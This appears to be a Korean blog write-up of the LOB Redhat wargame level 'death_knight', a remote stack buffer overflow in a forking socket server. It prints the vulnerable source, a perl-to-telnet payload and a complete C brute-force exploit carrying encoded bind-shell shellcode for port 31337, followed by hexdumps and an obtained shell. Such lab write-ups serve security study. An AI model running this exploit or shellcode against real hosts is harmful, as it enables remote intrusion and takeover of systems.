본문 바로가기

wargame/LOB Redhat

xavius to death_knight

소스를 보자.

[xavius@localhost xavius]$ cat death_knight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>

 

main()

{

        char buffer[40];

 

        int server_fd, client_fd;

        struct sockaddr_in server_addr;

        struct sockaddr_in client_addr;

        int sin_size;

 

        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

                perror("socket");

                exit(1);

        }

 

        server_addr.sin_family = AF_INET;

        server_addr.sin_port = htons(6666);

        server_addr.sin_addr.s_addr = INADDR_ANY;

        bzero(&(server_addr.sin_zero), 8);

 

        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

                perror("bind");

                exit(1);

        }

 

        if(listen(server_fd, 10) == -1){

                perror("listen");

                exit(1);

        }

 

        while(1) {

                sin_size = sizeof(struct sockaddr_in);

                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) ==

                        perror("accept");

                        continue;

                }

 

                if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n",

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0);   //fork 자식 프로세스가 리턴되면서 실행흐름이 바뀐다.

                        close(client_fd);

                        break;  

                }

 

                close(client_fd);

                while(waitpid(-1,NULL,WNOHANG) > 0);

        }

        close(server_fd);

}

 

 

 

소스를 보면, 6666 포트로 소켓을 통해 간단한 서버를 연다는 것을 알수 있고, fork함수를 통해 자식프로세스를 생성하여, buffer 입력을 받아 취약점이 발생한다는 것을 있다.

 

[xavius@localhost xavius]$ cat death_knigh1.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>

 

main()

{

        char buffer[40];

 

        int server_fd, client_fd;

        struct sockaddr_in server_addr;

        struct sockaddr_in client_addr;

        int sin_size;

 

        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

                perror("socket");

                exit(1);

        }

 

        server_addr.sin_family = AF_INET;

        server_addr.sin_port = htons(4444);

        server_addr.sin_addr.s_addr = INADDR_ANY;

        bzero(&(server_addr.sin_zero), 8);

 

        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

                perror("bind");

                exit(1);

        }

 

        if(listen(server_fd, 10) == -1){

                perror("listen");

                exit(1);

        }

 

        while(1) {

                sin_size = sizeof(struct sockaddr_in);

                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) ==

                        perror("accept");

                        continue;

                }

 

                if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n",

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0);

                        dumpcode((char*)buffer,256);

                        close(client_fd);

                        break;

                }

 

                close(client_fd);

                while(waitpid(-1,NULL,WNOHANG) > 0);

        }

        close(server_fd);

}

 

//다음과 같이 중간에 덤프코드를 추가해주고, 간단한 버퍼오버플로우를 시도하였다.

[xavius@localhost xavius]$ (perl -e 'print "a"x44,"\xee\xfd\xff\xbf","\x90"x100,"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01\x75\xf6

\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\

x37\xaf\x9e\xbe\x16\x9f\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\x

b5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x4

0\x02\xb5"';cat)|telnet localhost 4444

Trying 127.0.0.1...

Connected to localhost.localdomain.

Escape character is '^]'.

Connection closed by foreign host.

 



이처럼 ret부분에 무슨이유인지 모르겟는데 ff 두번 들어가서 공격이 먹히지 않는 현상이 발생 하여서, 프로그램으로 값을 전달해주기로 하였다.

 

[xavius@localhost xavius]$ cat exploit.c

 

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>

 

#define bindport 31337

 

main(int argc,char *argv[])

{

        unsigned char bindcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x0 //31337포트로 쉘을여는 bind_tcp payload(출처:exploit db)

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

        int conn;

        unsigned char payload[256];

        char cmd[100];

        int client_fd;

        struct sockaddr_in serv_adr;

        int sin_size;

        unsigned int ret = 0xbfffff00;

 

        sprintf(cmd,"%s %s %d","telnet",argv[1],bindport);

 

        while(1){    //while문이 소켓생성까지 모두 포함시키는데 이렇게 하지않을 경우 bad discriptor 에러가 뜬다. 소켓을 닫으면 재생성 해줘야 .

        if((client_fd= socket(AF_INET, SOCK_STREAM, 0)) == -1){

                perror("socket");

                return -1;

        }

 

        memset(&serv_adr, 0, sizeof(serv_adr));

        serv_adr.sin_family=AF_INET;

        serv_adr.sin_addr.s_addr=inet_addr(argv[1]);

        serv_adr.sin_port=htons(atoi(argv[2]));

 

                //서버에 접속

                conn=connect(client_fd, (struct sockaddr*)&serv_adr, sizeof(serv_adr));

                if(conn==-1){

                         perror("socket");

                         return -1;

                }

 

 

                ret -= 1;   //offset 1씩감소시키면서 부르트포스 공격

                memset(payload,'\x90',sizeof(payload));

                memcpy(payload+44,&ret,4);

                memcpy(payload+100,bindcode,strlen(bindcode));

                printf("\n -------------------------------------------------------------\n");

                dumpcode((char*)payload,strlen(payload));

                send(client_fd,payload,strlen(payload),0);

                system(cmd);   //자동으로 텔넷 31337 연결시도

                close(client_fd);

        }

        return 0;

 

 

}

 

[xavius@localhost xavius]$ gcc -o exploit exploit.c

[xavius@localhost xavius]$ ./exploit 192.168.190.135 6666

.

.

.

.

.

.

.

.

.

Trying 192.168.190.135...

telnet: Unable to connect to remote host: Connection refused

 

 -------------------------------------------------------------

0xbffffb40  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffb50  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffb60  90 90 90 90 90 90 90 90 90 90 90 90 e9 fd ff bf   ................

0xbffffb70  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffb80  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffb90  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffba0  90 90 90 90 eb 11 5e 31 c9 b1 6b 80 6c 0e ff 35   ......^1..k.l..5

0xbffffbb0  80 e9 01 75 f6 eb 05 e8 ea ff ff ff e5 7b bd 0e   ...u.........{..

0xbffffbc0  02 b5 66 f5 66 10 66 07 85 9f 36 9f 37 be 16 33   ..f.f.f...6.7..3

0xbffffbd0  f8 e5 9b 02 b5 be fb 87 9d f0 37 af 9e be 16 9f   ..........7.....

0xbffffbe0  45 86 8b be 16 33 f8 e5 9b 02 b5 87 8b be 16 e8   E....3..........

0xbffffbf0  39 e5 9b 02 b5 87 87 8b be 16 33 f8 e5 9b 02 b5   9.........3.....

0xbffffc00  be f8 66 fe e5 74 02 b5 76 e5 74 02 b5 76 e5 74   ..f..t..v.t..v.t

0xbffffc10  02 b5 87 9d 64 64 a8 9d 9d 64 97 9e a3 be 18 87   ....dd...d......

0xbffffc20  88 be 16 e5 40 02 b5 90 90 90 90 90 90 90 90 90   ....@...........

0xbffffc30  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

 

Trying 192.168.190.135...

telnet: Unable to connect to remote host: Connection refused

 

 -------------------------------------------------------------

0xbffffb40  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffb50  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffb60  90 90 90 90 90 90 90 90 90 90 90 90 e8 fd ff bf   ................

0xbffffb70  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffb80  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffb90  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffba0  90 90 90 90 eb 11 5e 31 c9 b1 6b 80 6c 0e ff 35   ......^1..k.l..5

0xbffffbb0  80 e9 01 75 f6 eb 05 e8 ea ff ff ff e5 7b bd 0e   ...u.........{..

0xbffffbc0  02 b5 66 f5 66 10 66 07 85 9f 36 9f 37 be 16 33   ..f.f.f...6.7..3

0xbffffbd0  f8 e5 9b 02 b5 be fb 87 9d f0 37 af 9e be 16 9f   ..........7.....

0xbffffbe0  45 86 8b be 16 33 f8 e5 9b 02 b5 87 8b be 16 e8   E....3..........

0xbffffbf0  39 e5 9b 02 b5 87 87 8b be 16 33 f8 e5 9b 02 b5   9.........3.....

0xbffffc00  be f8 66 fe e5 74 02 b5 76 e5 74 02 b5 76 e5 74   ..f..t..v.t..v.t

0xbffffc10  02 b5 87 9d 64 64 a8 9d 9d 64 97 9e a3 be 18 87   ....dd...d......

0xbffffc20  88 be 16 e5 40 02 b5 90 90 90 90 90 90 90 90 90   ....@...........

0xbffffc30  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

 

Trying 192.168.190.135...

telnet: Unable to connect to remote host: Connection refused

 

 -------------------------------------------------------------

0xbffffb40  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffb50  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffb60  90 90 90 90 90 90 90 90 90 90 90 90 e7 fd ff bf   ................

0xbffffb70  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffb80  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffb90  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0xbffffba0  90 90 90 90 eb 11 5e 31 c9 b1 6b 80 6c 0e ff 35   ......^1..k.l..5

0xbffffbb0  80 e9 01 75 f6 eb 05 e8 ea ff ff ff e5 7b bd 0e   ...u.........{..

0xbffffbc0  02 b5 66 f5 66 10 66 07 85 9f 36 9f 37 be 16 33   ..f.f.f...6.7..3

0xbffffbd0  f8 e5 9b 02 b5 be fb 87 9d f0 37 af 9e be 16 9f   ..........7.....

0xbffffbe0  45 86 8b be 16 33 f8 e5 9b 02 b5 87 8b be 16 e8   E....3..........

0xbffffbf0  39 e5 9b 02 b5 87 87 8b be 16 33 f8 e5 9b 02 b5   9.........3.....

0xbffffc00  be f8 66 fe e5 74 02 b5 76 e5 74 02 b5 76 e5 74   ..f..t..v.t..v.t

0xbffffc10  02 b5 87 9d 64 64 a8 9d 9d 64 97 9e a3 be 18 87   ....dd...d......

0xbffffc20  88 be 16 e5 40 02 b5 90 90 90 90 90 90 90 90 90   ....@...........

0xbffffc30  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

 

Trying 192.168.190.135...

Connected to 192.168.190.135.

Escape character is '^]'.

id;            //명령어를 ; 붙여야 명령어가 먹힘..

uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)

: command not found

my-pass;

euid = 520

got the life

: command not found

 

 

브루트 포스시, 로컬환경에서는 감소하는 offset 크게줘도 잘되지만

윈도우에서 텔넷접속으로 할때에는 작게줄수록 쉘이 잘뜬다

 

 

그리고 payload 버퍼의 크기가 256이면 공격이 먹히고 512일땐 공격이 안됨, 무언가를 덮어쒸워서 그런가?

->분석해본 결과, 환경변수를 덮어 씌움, 그것도 remote host부분을 덮어쒸운다.

'wargame > LOB Redhat' 카테고리의 다른 글

LOB풀다가 생긴 의문점  (0) 2014.06.03
death_knight  (0) 2014.05.27
nightmare to xavius  (0) 2014.05.27
succubus to nightmare  (0) 2014.05.27
zombie_assasin to succubus  (0) 2014.05.27